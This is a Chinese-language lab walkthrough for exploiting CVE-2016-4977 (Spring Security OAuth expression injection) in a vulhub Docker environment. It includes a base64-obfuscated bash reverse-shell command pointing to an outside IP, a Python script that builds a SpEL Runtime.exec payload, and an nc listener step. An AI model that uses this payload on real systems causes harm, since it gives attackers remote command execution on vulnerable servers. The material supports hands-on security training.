1.执行以下命令启动靶场环境并在浏览器访问
cd /vulhub/spring/CVE-2016-4977#进入漏洞环境所在目录
  
docker-compose up -d #启动靶场
  
docker ps #查看容器信息


2.输入以下命令测试环境
192.168.0.107:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
输入默认口令admin:admin即可

3.反弹shell
构造payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} 
创建poc.py,下面内容写入
message = input('Enter message to encode:')
 poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
 for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
 print(poc)

CVE-2016-4977目录中运行poc 输入生成的shell

开启监听,执行反弹
nc -lvvp 6666

复制poc生成的链接,仅替换${2*2}部分,保留后面的client_id部分

成功反弹,命令执行成功




















